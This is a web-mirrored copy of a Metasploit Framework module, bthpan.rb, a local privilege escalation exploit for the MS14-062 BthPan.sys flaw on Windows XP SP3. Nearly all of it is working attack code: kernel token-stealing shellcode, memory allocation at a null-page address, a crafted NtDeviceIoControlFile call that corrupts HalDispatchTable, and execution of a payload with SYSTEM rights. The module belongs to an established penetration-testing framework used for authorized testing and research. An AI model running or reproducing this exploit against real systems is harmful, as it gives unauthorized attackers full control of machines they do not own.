CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/local/bthpan.rb
Views: 11655
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Local
7
Rank = AverageRanking
8
9
include Msf::Exploit::Local::WindowsKernel
10
include Msf::Post::File
11
include Msf::Post::Windows::FileInfo
12
include Msf::Post::Windows::Priv
13
include Msf::Post::Windows::Process
14
15
def initialize(info = {})
16
super(
17
update_info(
18
info,
19
'Name' => 'MS14-062 Microsoft Bluetooth Personal Area Networking (BthPan.sys) Privilege Escalation',
20
'Description' => %q{
21
A vulnerability within Microsoft Bluetooth Personal Area Networking module,
22
BthPan.sys, can allow an attacker to inject memory controlled by the attacker
23
into an arbitrary location. This can be used by an attacker to overwrite
24
HalDispatchTable+0x4 and execute arbitrary code by subsequently calling
25
NtQueryIntervalProfile.
26
},
27
'License' => MSF_LICENSE,
28
'Author' => [
29
'Matt Bergin <level[at]korelogic.com>', # Vulnerability discovery and PoC
30
'Jay Smith <jsmith[at]korelogic.com>' # MSF module
31
],
32
'Arch' => ARCH_X86,
33
'Platform' => 'win',
34
'SessionTypes' => [ 'meterpreter' ],
35
'DefaultOptions' => {
36
'EXITFUNC' => 'thread'
37
},
38
'Targets' => [
39
[
40
'Windows XP SP3',
41
{
42
'HaliQuerySystemInfo' => 0x16bba,
43
'_KPROCESS' => "\x44",
44
'_TOKEN' => "\xc8",
45
'_UPID' => "\x84",
46
'_APLINKS' => "\x88"
47
}
48
]
49
],
50
'References' => [
51
[ 'MSB', 'MS14-062' ],
52
[ 'CVE', '2014-4971' ],
53
[ 'URL', 'https://www.korelogic.com/Resources/Advisories/KL-001-2014-002.txt' ],
54
[ 'OSVDB', '109387' ]
55
],
56
'DisclosureDate' => '2014-07-18',
57
'DefaultTarget' => 0,
58
'Compat' => {
59
'Meterpreter' => {
60
'Commands' => %w[
61
stdapi_railgun_api
62
stdapi_sys_process_attach
63
stdapi_sys_process_getpid
64
stdapi_sys_process_memory_write
65
]
66
}
67
}
68
)
69
)
70
end
71
72
def ring0_shellcode
73
tokenswap = "\x60\x64\xA1\x24\x01\x00\x00"
74
tokenswap << "\x8B\x40\x44\x50\xBB\x04"
75
tokenswap << "\x00\x00\x00\x8B\x80\x88"
76
tokenswap << "\x00\x00\x00\x2D\x88"
77
tokenswap << "\x00\x00\x00\x39\x98\x84"
78
tokenswap << "\x00\x00\x00\x75\xED\x8B\xB8\xC8"
79
tokenswap << "\x00\x00\x00\x83\xE7\xF8\x58\xBB"
80
tokenswap << [session.sys.process.getpid].pack('V')
81
tokenswap << "\x8B\x80\x88\x00\x00\x00"
82
tokenswap << "\x2D\x88\x00\x00\x00"
83
tokenswap << "\x39\x98\x84\x00\x00\x00"
84
tokenswap << "\x75\xED\x89\xB8\xC8"
85
tokenswap << "\x00\x00\x00\x61\xC3"
86
end
87
88
def fill_memory(proc, address, length, content)
89
session.railgun.ntdll.NtAllocateVirtualMemory(-1, [ address ].pack('V'), nil, [ length ].pack('V'), 'MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN', 'PAGE_EXECUTE_READWRITE')
90
91
unless proc.memory.writable?(address)
92
vprint_error('Failed to allocate memory')
93
return nil
94
end
95
vprint_good("#{address} is now writable")
96
97
result = proc.memory.write(address, content)
98
99
if result.nil?
100
vprint_error('Failed to write contents to memory')
101
return nil
102
end
103
vprint_good("Contents successfully written to 0x#{address.to_s(16)}")
104
105
return address
106
end
107
108
def disclose_addresses(t)
109
addresses = {}
110
111
hal_dispatch_table = find_haldispatchtable
112
return nil if hal_dispatch_table.nil?
113
114
addresses['halDispatchTable'] = hal_dispatch_table
115
vprint_good("HalDispatchTable found at 0x#{addresses['halDispatchTable'].to_s(16)}")
116
117
vprint_status('Getting the hal.dll base address...')
118
hal_info = find_sys_base('hal.dll')
119
if hal_info.nil?
120
vprint_error('Failed to disclose hal.dll base address')
121
return nil
122
end
123
hal_base = hal_info[0]
124
vprint_good("hal.dll base address disclosed at 0x#{hal_base.to_s(16)}")
125
126
hali_query_system_information = hal_base + t['HaliQuerySystemInfo']
127
addresses['HaliQuerySystemInfo'] = hali_query_system_information
128
129
vprint_good("HaliQuerySystemInfo address disclosed at 0x#{addresses['HaliQuerySystemInfo'].to_s(16)}")
130
addresses
131
end
132
133
def check
134
# covers both native x64 and WOW64
135
if sysinfo['Architecture'] == ARCH_X64
136
return Exploit::CheckCode::Safe
137
end
138
139
version = get_version_info
140
return Exploit::CheckCode::Safe unless version.build_number == Msf::WindowsVersion::XP_SP3
141
142
handle = open_device('\\\\.\\bthpan', 'FILE_SHARE_WRITE|FILE_SHARE_READ', 0, 'OPEN_EXISTING')
143
return Exploit::CheckCode::Safe unless handle
144
145
session.railgun.kernel32.CloseHandle(handle)
146
147
return Exploit::CheckCode::Detected
148
end
149
150
def exploit
151
if is_system?
152
fail_with(Failure::None, 'Session is already elevated')
153
end
154
155
if check == Exploit::CheckCode::Safe
156
fail_with(Failure::NotVulnerable, 'Exploit not available on this system')
157
end
158
159
handle = open_device('\\\\.\\bthpan', 'FILE_SHARE_WRITE|FILE_SHARE_READ', 0, 'OPEN_EXISTING')
160
if handle.nil?
161
fail_with(Failure::NoTarget, 'Unable to open \\\\.\\bthpan device')
162
end
163
164
my_target = targets[0]
165
print_status('Disclosing the HalDispatchTable address...')
166
@addresses = disclose_addresses(my_target)
167
if @addresses.nil?
168
session.railgun.kernel32.CloseHandle(handle)
169
fail_with(Failure::Unknown, 'Failed to disclose necessary address for exploitation. Aborting.')
170
else
171
print_good('Address successfully disclosed.')
172
end
173
174
print_status('Storing the shellcode in memory...')
175
this_proc = session.sys.process.open
176
kernel_shell = ring0_shellcode
177
kernel_shell_address = 0x1
178
179
buf = "\x90" * 0x6000
180
buf[0, 1028] = "\x50\x00\x00\x00" + "\x90" * 0x400
181
buf[0x5000, kernel_shell.length] = kernel_shell
182
183
result = fill_memory(this_proc, kernel_shell_address, buf.length, buf)
184
if result.nil?
185
session.railgun.kernel32.CloseHandle(handle)
186
fail_with(Failure::Unknown, 'Error while storing the kernel stager shellcode on memory')
187
end
188
print_good("Kernel stager successfully stored at 0x#{kernel_shell_address.to_s(16)}")
189
190
print_status('Triggering the vulnerability, corrupting the HalDispatchTable...')
191
session.railgun.ntdll.NtDeviceIoControlFile(handle, nil, nil, nil, 4, 0x0012d814, 0x1, 0x258, @addresses['halDispatchTable'] + 0x4, 0)
192
session.railgun.kernel32.CloseHandle(handle)
193
194
print_status('Executing the Kernel Stager throw NtQueryIntervalProfile()...')
195
session.railgun.ntdll.NtQueryIntervalProfile(2, 4)
196
197
print_status('Checking privileges after exploitation...')
198
199
unless is_system?
200
fail_with(Failure::Unknown, "The privilege escalation wasn't successful")
201
end
202
print_good('Privilege escalation successful!')
203
204
p = payload.encoded
205
print_status("Injecting #{p.length} bytes to memory and executing it...")
206
unless execute_shellcode(p)
207
fail_with(Failure::Unknown, 'Error while executing the payload')
208
end
209
end
210
end
211
212